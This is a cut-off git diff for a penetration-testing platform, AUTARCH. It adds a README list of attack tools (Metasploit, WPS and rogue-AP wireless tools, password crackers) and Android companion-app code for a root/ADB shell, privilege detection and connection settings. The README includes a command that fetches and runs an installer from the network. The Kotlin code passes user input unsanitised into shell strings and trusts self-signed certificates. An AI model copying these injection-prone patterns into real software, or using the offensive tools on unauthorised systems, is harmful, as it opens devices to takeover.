diff --git a/README.md b/README.md index 5564534..1e2f1cd 100644 --- a/README.md +++ b/README.md @@ -196,6 +196,198 @@ sudo systemctl enable --now autarch-daemon sudo systemctl enable --now autarch-web ``` +--- +## Prerequisites & Required Tools + +AUTARCH is a large platform with many optional features. The core web dashboard and AI agent require only Python dependencies (installed via pip). External system tools are needed for specific feature areas. Install only what you need. + +### Core (Required) + +Python 3.10+ +Git +pip (Python package manager) +OpenSSL + +Python dependencies are installed automatically by the setup script: + +```bash +bash scripts/setup-venv.sh +``` + +Or manually: + +```bash +pip install -r requirements.txt +``` + +### Network Scanning & Analysis + +nmap — Network scanner (port scanning, host discovery, service detection) +tshark — Terminal-based Wireshark (packet analysis, protocol decoding) +tcpdump — Packet capture +whois — Domain/IP WHOIS lookups +dig (dnsutils/bind-utils) — DNS enumeration +curl — HTTP requests +wget — File downloads +masscan — High-speed port scanner (optional) + +Debian/Ubuntu: + +```bash +apt install nmap tshark tcpdump whois dnsutils curl wget +``` + +Fedora/RHEL: + +```bash +dnf install nmap wireshark-cli tcpdump whois bind-utils curl wget +``` + +### Wireless / WiFi Tools + +iw — Wireless device configuration +iwconfig (wireless-tools) — Legacy wireless config +aircrack-ng suite — airmon-ng, airodump-ng, aireplay-ng, airbase-ng +reaver / wash — WPS attacks +mdk3 / mdk4 — Wireless denial-of-service testing +hostapd — Access point creation +dnsmasq — DHCP/DNS for rogue AP +bettercap — MITM and network attacks (optional) + +Debian/Ubuntu: + +```bash +apt install iw wireless-tools aircrack-ng reaver mdk4 hostapd dnsmasq +``` + +### Penetration Testing + +Metasploit Framework — msfrpcd, msfconsole, msfvenom (exploit framework) +RouterSploit — Router exploitation framework +hydra — Password brute-forcing +john (John the Ripper) — Password cracking +hashcat — GPU-accelerated password cracking +nikto — Web server scanner +gobuster — Directory/DNS brute-forcing +sqlmap — SQL injection (optional, manual install) + +Metasploit install: + +```bash +curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall +chmod 755 msfinstall +./msfinstall +``` + +### VPN & Firewall + +wireguard-tools (wg, wg-quick) — VPN tunnel management +iptables or nftables (nft) — Firewall rules +fail2ban — Brute-force protection +ssh / sshd / ssh-keygen — SSH management + +Debian/Ubuntu: + +```bash +apt install wireguard-tools iptables nftables fail2ban openssh-server +``` + +### Forensics & Reverse Engineering + +file — File type identification +strings (binutils) — Extract printable strings from binaries +strace — System call tracer +ltrace — Library call tracer + +Debian/Ubuntu: + +```bash +apt install file binutils strace ltrace +``` + +### Hardware & Mobile + +adb / fastboot (Android Platform Tools) — Android device management +scrcpy — Android screen mirroring +esptool — ESP32 firmware flashing (installed via pip) +proxmark3 / pm3 — RFID/NFC tools +nfc-list / nfc-mfclassic / nfc-poll (libnfc) — NFC tools +rtl_sdr — RTL-SDR software-defined radio +hackrf_transfer — HackRF SDR tools + +Debian/Ubuntu: + +```bash +apt install android-tools-adb android-tools-fastboot scrcpy libnfc-bin +``` + +### Containers + +docker — Container security auditing + +### LLM Backends (AI Features) + +For local LLM inference, you need at least one of: + +llama.cpp (via llama-cpp-python, installed by pip) — GGUF model inference +HuggingFace Transformers (installed by pip) — SafeTensors model inference +PyTorch — Required for local transformers models. Install manually from https://pytorch.org/get-started/locally/ + +For cloud LLM backends, configure API keys in the vault: + +Anthropic Claude API key +OpenAI-compatible API key +HuggingFace Inference API key + +For GPU-accelerated llama.cpp: + +```bash +CMAKE_ARGS="-DGGML_CUDA=on" pip install llama-cpp-python --force-reinstall --no-cache-dir +``` + +### Node.js (WebUSB Driver Compilation Only) + +Node.js and npm are required ONLY if you need to recompile the WebUSB/Web Serial driver bundles. They are NOT needed at runtime. See the WebUSB Drivers section below. + +--- + +## WebUSB Drivers (User-Compiled) + +AUTARCH ships with pre-built WebUSB JavaScript bundles for ADB, Fastboot, and ESP32 flashing in web/static/js/lib/. These bundles enable direct browser-based hardware access through Chromium-based browsers without installing native drivers. + +However, if you need to modify the WebUSB integration, update the library versions, or the pre-built bundles are missing or outdated, you MUST compile them yourself. + +The WebUSB bundles are built from three entry points in src/: + +src/adb-entry.js — ADB over WebUSB (@yume-chan/adb) +src/fastboot-entry.js — Fastboot over WebUSB (android-fastboot) +src/esptool-entry.js — ESP32 flashing over Web Serial (esptool-js) + +To compile the WebUSB drivers: + +1. Install Node.js (v18+ recommended) and npm +2. From the project root, install the build dependencies: + +```bash +npm install +``` + +3. Run the build script: + +```bash +bash scripts/build-hw-libs.sh +``` + +This uses esbuild to bundle the JavaScript libraries into browser-ready IIFE bundles and outputs them to web/static/js/lib/. The build produces three files: + +adb-bundle.js — ADB over WebUSB +fastboot-bundle.js — Fastboot over WebUSB +esptool-bundle.js — ESP32 over Web Serial + +IMPORTANT: WebUSB and Web Serial APIs require a Chromium-based browser (Chrome, Edge, Brave, etc.). Firefox and Safari do not support these APIs. The device must be connected via USB directly to the machine running the browser. WebUSB will NOT work over remote/forwarded connections. + +If you do not need direct browser-based hardware access (ADB over WebUSB, Fastboot over WebUSB, or ESP32 Web Serial flashing), you can skip this step entirely. The rest of AUTARCH functions without these bundles. Standard ADB/Fastboot over the command line (via Android Platform Tools) works independently of WebUSB. + --- ## The Daemon diff --git a/autarch_companion/app/build.gradle.kts b/autarch_companion/app/build.gradle.kts index 4043a81..fd1ac86 100644 --- a/autarch_companion/app/build.gradle.kts +++ b/autarch_companion/app/build.gradle.kts @@ -30,7 +30,7 @@ android { } kotlin { - jvmToolchain(24) + jvmToolchain(21) } buildFeatures { diff --git a/autarch_companion/app/src/main/assets/bin/busybox b/autarch_companion/app/src/main/assets/bin/busybox new file mode 100644 index 0000000..7081454 Binary files /dev/null and b/autarch_companion/app/src/main/assets/bin/busybox differ diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt index 5d231dd..29b2a8b 100644 --- a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt @@ -1,14 +1,26 @@ +// Copyright 2026 DarkHal package com.darkhal.archon import android.os.Bundle +import android.view.MenuItem +import androidx.appcompat.app.ActionBarDrawerToggle import androidx.appcompat.app.AppCompatActivity +import androidx.core.view.GravityCompat +import androidx.drawerlayout.widget.DrawerLayout +import androidx.navigation.NavController import androidx.navigation.fragment.NavHostFragment -import androidx.navigation.ui.setupWithNavController import com.darkhal.archon.messaging.MessagingModule import com.darkhal.archon.module.ModuleManager -import com.google.android.material.bottomnavigation.BottomNavigationView +import com.google.android.material.appbar.MaterialToolbar +import com.google.android.material.navigation.NavigationView -class MainActivity : AppCompatActivity() { +class MainActivity : AppCompatActivity(), NavigationView.OnNavigationItemSelectedListener { + + private lateinit var drawerLayout: DrawerLayout + private lateinit var navView: NavigationView + private lateinit var toolbar: MaterialToolbar + private lateinit var navController: NavController + private lateinit var toggle: ActionBarDrawerToggle override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) @@ -20,11 +32,62 @@ class MainActivity : AppCompatActivity() { // Register SMS/RCS messaging module ModuleManager.register(MessagingModule()) + // Setup toolbar + toolbar = findViewById(R.id.toolbar) + setSupportActionBar(toolbar) + + // Setup drawer + drawerLayout = findViewById(R.id.drawer_layout) + navView = findViewById(R.id.nav_view) + + toggle = ActionBarDrawerToggle( + this, + drawerLayout, + toolbar, + R.string.drawer_open, + R.string.drawer_close + ) + drawerLayout.addDrawerListener(toggle) + toggle.syncState() + + // Setup navigation controller val navHostFragment = supportFragmentManager .findFragmentById(R.id.nav_host_fragment) as NavHostFragment - val navController = navHostFragment.navController + navController = navHostFragment.navController - val bottomNav = findViewById(R.id.bottom_nav) - bottomNav.setupWithNavController(navController) + // Listen for drawer item clicks + navView.setNavigationItemSelectedListener(this) + + // Highlight current destination in drawer + navController.addOnDestinationChangedListener { _, destination, _ -> + val menuItem = navView.menu.findItem(destination.id) + if (menuItem != null) { + navView.setCheckedItem(menuItem) + } + // Update toolbar title from destination label + supportActionBar?.title = destination.label ?: getString(R.string.drawer_app_name) + } + + // Select Dashboard by default + navView.setCheckedItem(R.id.nav_dashboard) + } + + override fun onNavigationItemSelected(item: MenuItem): Boolean { + // Navigate to the selected destination + val currentDest = navController.currentDestination?.id + if (item.itemId != currentDest) { + navController.navigate(item.itemId) + } + drawerLayout.closeDrawer(GravityCompat.START) + return true + } + + @Suppress("DEPRECATION") + override fun onBackPressed() { + if (drawerLayout.isDrawerOpen(GravityCompat.START)) { + drawerLayout.closeDrawer(GravityCompat.START) + } else { + super.onBackPressed() + } } } diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AboutFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AboutFragment.kt new file mode 100644 index 0000000..3ec78c0 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AboutFragment.kt @@ -0,0 +1,52 @@ +package com.darkhal.archon.ui + +import android.content.Intent +import android.os.Bundle +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.fragment.app.Fragment +import com.darkhal.archon.LoginActivity +import com.darkhal.archon.R +import com.darkhal.archon.util.AuthManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.dialog.MaterialAlertDialogBuilder + +class AboutFragment : Fragment() { + + override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View = + inflater.inflate(R.layout.fragment_about, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + try { + val info = requireContext().packageManager.getPackageInfo(requireContext().packageName, 0) + view.findViewById(R.id.about_version)?.text = "v${info.versionName}" + } catch (_: Exception) {} + + view.findViewById(R.id.btn_logout)?.setOnClickListener { + AuthManager.logout(requireContext()) + val intent = Intent(requireContext(), LoginActivity::class.java) + intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK + startActivity(intent) + } + + view.findViewById(R.id.btn_clear_data)?.setOnClickListener { + MaterialAlertDialogBuilder(requireContext()) + .setTitle("Clear App Data") + .setMessage("This will erase all settings, saved keys, and cached data. Are you sure?") + .setNegativeButton("Cancel", null) + .setPositiveButton("Clear") { _, _ -> + requireContext().getSharedPreferences("archon_prefs", 0).edit().clear().apply() + requireContext().getSharedPreferences("archon_adb_keys", 0).edit().clear().apply() + AuthManager.logout(requireContext()) + val intent = Intent(requireContext(), LoginActivity::class.java) + intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK + startActivity(intent) + } + .show() + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AdbShellFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AdbShellFragment.kt new file mode 100644 index 0000000..3613d1f --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AdbShellFragment.kt @@ -0,0 +1,234 @@ +// Copyright 2026 DarkHal +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.view.inputmethod.EditorInfo +import android.widget.EditText +import android.widget.ImageButton +import android.widget.TextView +import androidx.fragment.app.Fragment +import androidx.recyclerview.widget.LinearLayoutManager +import androidx.recyclerview.widget.RecyclerView +import com.darkhal.archon.R +import com.darkhal.archon.messaging.ShizukuManager +import com.darkhal.archon.util.BusyboxInstaller +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.ShellResult +import com.google.android.material.button.MaterialButton + +/** + * Interactive ADB shell terminal using RecyclerView for scrollable output. + * Connects through the privilege chain: Root > Shizuku > Local ADB > Archon Server + * Compatible with Shizuku AND our own privilege system simultaneously. + */ +class AdbShellFragment : Fragment() { + + private lateinit var outputRecycler: RecyclerView + private lateinit var inputField: EditText + private lateinit var sendBtn: ImageButton + private lateinit var connectBtn: MaterialButton + private lateinit var clearBtn: MaterialButton + private lateinit var statusDot: View + private lateinit var statusText: TextView + + private val adapter = ShellOutputAdapter() + private val handler = Handler(Looper.getMainLooper()) + private val commandHistory = mutableListOf() + private var historyIndex = -1 + + private enum class ShellMethod { ROOT, SHIZUKU, LOCAL_ADB, SERVER_ADB, NONE } + private var activeMethod = ShellMethod.NONE + + override fun onCreateView( + inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? + ): View = inflater.inflate(R.layout.fragment_adb_shell, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + outputRecycler = view.findViewById(R.id.shell_output) + inputField = view.findViewById(R.id.shell_input) + sendBtn = view.findViewById(R.id.btn_shell_send) + connectBtn = view.findViewById(R.id.btn_shell_connect) + clearBtn = view.findViewById(R.id.btn_shell_clear) + statusDot = view.findViewById(R.id.shell_status_dot) + statusText = view.findViewById(R.id.shell_status_text) + + outputRecycler.layoutManager = LinearLayoutManager(requireContext()) + outputRecycler.adapter = adapter + + // Install busybox on first launch + Thread { + val installed = BusyboxInstaller.install(requireContext()) + val version = if (installed) BusyboxInstaller.getVersion(requireContext()) else null + handler.post { + adapter.addSystem("AUTARCH ADB Shell v1.0") + if (version != null) { + adapter.addSystem("Busybox: $version") + } + adapter.addSystem("Type 'help' for available commands") + scrollToBottom() + } + }.start() + + sendBtn.setOnClickListener { executeCurrentInput() } + connectBtn.setOnClickListener { autoConnect() } + clearBtn.setOnClickListener { + adapter.clear() + adapter.addSystem("Terminal cleared") + } + + inputField.setOnEditorActionListener { _, actionId, _ -> + if (actionId == EditorInfo.IME_ACTION_SEND || actionId == EditorInfo.IME_ACTION_DONE) { + executeCurrentInput() + true + } else false + } + + autoConnect() + } + + private fun executeCurrentInput() { + val cmd = inputField.text.toString().trim() + if (cmd.isEmpty()) return + + inputField.setText("") + commandHistory.add(0, cmd) + historyIndex = -1 + + when (cmd.lowercase()) { + "clear" -> { adapter.clear(); return } + "help" -> { + adapter.addSystem("Built-in: clear, status, reconnect, history, exit") + adapter.addSystem("All other commands sent to device shell") + scrollToBottom() + return + } + "status" -> { + adapter.addSystem("Method: ${activeMethod.name}") + adapter.addSystem("Privilege: ${PrivilegeManager.getAvailableMethod().label}") + scrollToBottom() + return + } + "reconnect" -> { autoConnect(); return } + "history" -> { + if (commandHistory.isEmpty()) { + adapter.addSystem("No command history") + } else { + commandHistory.forEachIndexed { i, c -> adapter.addSystem(" ${i + 1}: $c") } + } + scrollToBottom() + return + } + "exit" -> { + activeMethod = ShellMethod.NONE + updateStatus() + adapter.addSystem("Disconnected") + scrollToBottom() + return + } + } + + adapter.addCommand(cmd) + scrollToBottom() + + Thread { + val result = executeShellCommand(cmd) + handler.post { + if (result.stdout.isNotEmpty()) adapter.addStdout(result.stdout) + if (result.stderr.isNotEmpty()) adapter.addStderr(result.stderr) + if (result.exitCode != 0 && result.stdout.isEmpty() && result.stderr.isEmpty()) { + adapter.addStderr("Exit code: ${result.exitCode}") + } + scrollToBottom() + } + }.start() + } + + private fun executeShellCommand(command: String): ShellResult { + return when (activeMethod) { + ShellMethod.ROOT -> ShellExecutor.execute("su -c '$command'") + ShellMethod.SHIZUKU -> { + try { + val output = ShizukuManager(requireContext()).executeCommand(command) + ShellResult(output, "", 0) + } catch (e: Exception) { + ShellResult("", "Shizuku error: ${e.message}", -1) + } + } + ShellMethod.LOCAL_ADB -> LocalAdbClient.execute(command) + ShellMethod.SERVER_ADB -> PrivilegeManager.execute(command) + ShellMethod.NONE -> ShellResult("", "No shell access. Tap CONNECT.", -1) + } + } + + private fun autoConnect() { + adapter.addSystem("Connecting...") + updateStatus("Connecting...", false) + + Thread { + val method = detectBestMethod() + handler.post { + activeMethod = method + updateStatus() + when (method) { + ShellMethod.ROOT -> adapter.addSystem("Connected via root (su)") + ShellMethod.SHIZUKU -> adapter.addSystem("Connected via Shizuku") + ShellMethod.LOCAL_ADB -> adapter.addSystem("Connected via wireless ADB") + ShellMethod.SERVER_ADB -> adapter.addSystem("Connected via Archon Server") + ShellMethod.NONE -> { + adapter.addSystem("No shell access available") + adapter.addSystem("Enable root, Shizuku, or Wireless Debugging") + } + } + scrollToBottom() + } + }.start() + } + + private fun detectBestMethod(): ShellMethod { + val rootCheck = ShellExecutor.execute("su -c 'id'") + if (rootCheck.exitCode == 0 && rootCheck.stdout.contains("uid=0")) return ShellMethod.ROOT + + try { + if (ShizukuManager(requireContext()).getStatus() == ShizukuManager.ShizukuStatus.READY) + return ShellMethod.SHIZUKU + } catch (_: Exception) {} + + if (LocalAdbClient.isConnected()) return ShellMethod.LOCAL_ADB + try { + if (LocalAdbClient.autoConnect(requireContext())) return ShellMethod.LOCAL_ADB + } catch (_: Exception) {} + + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE) return ShellMethod.SERVER_ADB + + return ShellMethod.NONE + } + + private fun updateStatus(text: String? = null, connected: Boolean? = null) { + val isConnected = connected ?: (activeMethod != ShellMethod.NONE) + statusDot.setBackgroundColor( + if (isConnected) 0xFF98C379.toInt() else 0xFFE06C75.toInt() + ) + statusText.text = text ?: when (activeMethod) { + ShellMethod.ROOT -> "Connected (root)" + ShellMethod.SHIZUKU -> "Connected (Shizuku)" + ShellMethod.LOCAL_ADB -> "Connected (wireless ADB)" + ShellMethod.SERVER_ADB -> "Connected (Archon Server)" + ShellMethod.NONE -> "Disconnected" + } + } + + private fun scrollToBottom() { + if (adapter.itemCount > 0) { + outputRecycler.smoothScrollToPosition(adapter.itemCount - 1) + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AppearanceSettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AppearanceSettingsFragment.kt new file mode 100644 index 0000000..9df173b --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/AppearanceSettingsFragment.kt @@ -0,0 +1,52 @@ +// Copyright 2026 DarkHal +package com.darkhal.archon.ui + +import android.os.Bundle +import android.util.TypedValue +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.util.PrefsManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.slider.Slider + +class AppearanceSettingsFragment : Fragment() { + + private lateinit var fontSizeSlider: Slider + private lateinit var previewText: TextView + + override fun onCreateView( + inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? + ): View = inflater.inflate(R.layout.fragment_appearance_settings, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + fontSizeSlider = view.findViewById(R.id.slider_font_size) + previewText = view.findViewById(R.id.font_size_preview) + + // Load saved font size + val savedSize = PrefsManager.getFontSize(requireContext()) + fontSizeSlider.value = savedSize.toFloat() + updatePreview(savedSize) + + fontSizeSlider.addOnChangeListener { _, value, _ -> + updatePreview(value.toInt()) + } + + view.findViewById(R.id.btn_save_appearance).setOnClickListener { + val size = fontSizeSlider.value.toInt() + PrefsManager.setFontSize(requireContext(), size) + Toast.makeText(requireContext(), "Appearance saved", Toast.LENGTH_SHORT).show() + } + } + + private fun updatePreview(sizeSp: Int) { + previewText.setTextSize(TypedValue.COMPLEX_UNIT_SP, sizeSp.toFloat()) + previewText.text = "Preview text (${sizeSp}sp)" + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ConnectionSettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ConnectionSettingsFragment.kt new file mode 100644 index 0000000..9615865 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ConnectionSettingsFragment.kt @@ -0,0 +1,130 @@ +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.SslHelper +import com.google.android.material.button.MaterialButton +import com.google.android.material.textfield.TextInputEditText + +class ConnectionSettingsFragment : Fragment() { + + private lateinit var inputServerIp: TextInputEditText + private lateinit var inputWebPort: TextInputEditText + private lateinit var inputAdbPort: TextInputEditText + private lateinit var inputUsbipPort: TextInputEditText + private lateinit var statusText: TextView + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View = + inflater.inflate(R.layout.fragment_settings_connection, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + inputServerIp = view.findViewById(R.id.input_server_ip) + inputWebPort = view.findViewById(R.id.input_web_port) + inputAdbPort = view.findViewById(R.id.input_adb_port) + inputUsbipPort = view.findViewById(R.id.input_usbip_port) + statusText = view.findViewById(R.id.connection_status) + + loadSettings() + + view.findViewById(R.id.btn_save_connection).setOnClickListener { saveSettings() } + view.findViewById(R.id.btn_auto_detect).setOnClickListener { autoDetect(it as MaterialButton) } + view.findViewById(R.id.btn_test_connection).setOnClickListener { testConnection() } + } + + private fun loadSettings() { + val ctx = requireContext() + inputServerIp.setText(PrefsManager.getServerIp(ctx)) + inputWebPort.setText(PrefsManager.getWebPort(ctx).toString()) + inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString()) + inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString()) + } + + private fun saveSettings() { + val ctx = requireContext() + val ip = inputServerIp.text.toString().trim() + val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555 + val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240 + + if (ip.isEmpty()) { + statusText.text = "Error: Server IP cannot be empty" + return + } + + PrefsManager.setServerIp(ctx, ip) + PrefsManager.setWebPort(ctx, webPort) + PrefsManager.setAdbPort(ctx, adbPort) + PrefsManager.setUsbIpPort(ctx, usbipPort) + + statusText.text = "Settings saved" + Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show() + } + + private fun autoDetect(btn: MaterialButton) { + statusText.text = "Scanning for AUTARCH server..." + btn.isEnabled = false + + val discovery = DiscoveryManager(requireContext()) + discovery.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + discovery.stopDiscovery() + handler.post { + if (server.ip.isNotEmpty()) inputServerIp.setText(server.ip) + if (server.port > 0) inputWebPort.setText(server.port.toString()) + statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}" + btn.isEnabled = true + } + } + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {} + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + handler.post { + if (discovery.getDiscoveredServers().isEmpty()) { + statusText.text = "No server found on network" + } + btn.isEnabled = true + } + } + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {} + } + discovery.startDiscovery() + } + + private fun testConnection() { + val ip = inputServerIp.text.toString().trim() + val port = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + if (ip.isEmpty()) { statusText.text = "Enter server IP first"; return } + + statusText.text = "Testing $ip:$port..." + Thread { + val pingOk = ShellExecutor.execute("ping -c 1 -W 3 $ip").exitCode == 0 + val httpOk = try { + val url = java.net.URL("https://$ip:$port/") + val conn = url.openConnection() as java.net.HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 5000 + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (_: Exception) { false } + + handler.post { + statusText.text = "Ping: ${if (pingOk) "OK" else "FAIL"}\nHTTPS: ${if (httpOk) "OK" else "FAIL"}" + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegeSettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegeSettingsFragment.kt new file mode 100644 index 0000000..30c7a9e --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegeSettingsFragment.kt @@ -0,0 +1,175 @@ +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.messaging.ShizukuManager +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.google.android.material.button.MaterialButton +import com.google.android.material.materialswitch.MaterialSwitch +import com.google.android.material.textfield.TextInputEditText + +class PrivilegeSettingsFragment : Fragment() { + + private lateinit var currentMethodText: TextView + private lateinit var statusRoot: TextView + private lateinit var statusShizuku: TextView + private lateinit var statusAdb: TextView + private lateinit var statusServer: TextView + private lateinit var dotRoot: View + private lateinit var dotShizuku: View + private lateinit var dotAdb: View + private lateinit var dotServer: View + private lateinit var pairingCodeInput: TextInputEditText + private lateinit var switchAutoRestart: MaterialSwitch + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View = + inflater.inflate(R.layout.fragment_settings_privileges, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + currentMethodText = view.findViewById(R.id.priv_current_method) + statusRoot = view.findViewById(R.id.status_root) + statusShizuku = view.findViewById(R.id.status_shizuku) + statusAdb = view.findViewById(R.id.status_adb) + statusServer = view.findViewById(R.id.status_server) + dotRoot = view.findViewById(R.id.dot_root) + dotShizuku = view.findViewById(R.id.dot_shizuku) + dotAdb = view.findViewById(R.id.dot_adb) + dotServer = view.findViewById(R.id.dot_server) + pairingCodeInput = view.findViewById(R.id.input_pairing_code) + switchAutoRestart = view.findViewById(R.id.switch_auto_restart_adb) + + switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(requireContext()) + switchAutoRestart.setOnCheckedChangeListener { _, checked -> + PrefsManager.setAutoRestartAdb(requireContext(), checked) + } + + view.findViewById(R.id.btn_shizuku_request).setOnClickListener { + requestShizukuPermission() + } + + view.findViewById(R.id.btn_adb_pair).setOnClickListener { + pairAdb() + } + + view.findViewById(R.id.btn_refresh_status).setOnClickListener { + refreshStatus() + } + + refreshStatus() + } + + private fun refreshStatus() { + currentMethodText.text = "Detecting..." + + Thread { + val bestMethod = PrivilegeManager.getAvailableMethod() + + // Root check + val rootResult = ShellExecutor.execute("su -c 'id'") + val hasRoot = rootResult.exitCode == 0 && rootResult.stdout.contains("uid=0") + + // Shizuku check + val shizukuStatus = try { + ShizukuManager(requireContext()).getStatus() + } catch (_: Exception) { + ShizukuManager.ShizukuStatus.NOT_INSTALLED + } + + // ADB check + val adbConnected = LocalAdbClient.isConnected() + val adbPaired = LocalAdbClient.isPaired(requireContext()) + + // Server check + val serverOk = bestMethod == PrivilegeManager.Method.ARCHON_SERVER || + bestMethod == PrivilegeManager.Method.SERVER_ADB + + handler.post { + currentMethodText.text = bestMethod.label + + setDot(dotRoot, hasRoot) + statusRoot.text = if (hasRoot) "Root available (su)" else "No root access" + + setDot(dotShizuku, shizukuStatus == ShizukuManager.ShizukuStatus.READY) + statusShizuku.text = shizukuStatus.label + + setDot(dotAdb, adbConnected) + statusAdb.text = when { + adbConnected -> "Connected" + adbPaired -> "Paired, not connected" + else -> "Not paired" + } + + setDot(dotServer, serverOk) + statusServer.text = if (serverOk) "Connected" else "Not connected" + } + }.start() + } + + private fun setDot(dot: View, active: Boolean) { + dot.setBackgroundColor(if (active) 0xFF98C379.toInt() else 0xFFE06C75.toInt()) + } + + private fun requestShizukuPermission() { + try { + val mgr = ShizukuManager(requireContext()) + val status = mgr.getStatus() + when (status) { + ShizukuManager.ShizukuStatus.NOT_INSTALLED -> + Toast.makeText(requireContext(), "Install Shizuku from Play Store first", Toast.LENGTH_LONG).show() + ShizukuManager.ShizukuStatus.INSTALLED_NOT_RUNNING -> + Toast.makeText(requireContext(), "Start Shizuku app first", Toast.LENGTH_LONG).show() + ShizukuManager.ShizukuStatus.RUNNING_NO_PERMISSION -> + Toast.makeText(requireContext(), "Requesting permission...", Toast.LENGTH_SHORT).show() + ShizukuManager.ShizukuStatus.READY -> + Toast.makeText(requireContext(), "Shizuku already ready", Toast.LENGTH_SHORT).show() + } + } catch (e: Exception) { + Toast.makeText(requireContext(), "Shizuku error: ${e.message}", Toast.LENGTH_LONG).show() + } + refreshStatus() + } + + private fun pairAdb() { + val code = pairingCodeInput.text.toString().trim() + if (code.isEmpty()) { + Toast.makeText(requireContext(), "Enter the pairing code from Developer Options", Toast.LENGTH_LONG).show() + return + } + + Toast.makeText(requireContext(), "Discovering pairing service...", Toast.LENGTH_SHORT).show() + Thread { + val port = LocalAdbClient.discoverPairingPort(requireContext(), 15) + if (port == null) { + handler.post { + Toast.makeText(requireContext(), "Could not find pairing service. Is Wireless Debugging enabled?", Toast.LENGTH_LONG).show() + } + return@Thread + } + + val success = LocalAdbClient.pair(requireContext(), "127.0.0.1", port, code) + handler.post { + if (success) { + Toast.makeText(requireContext(), "Paired 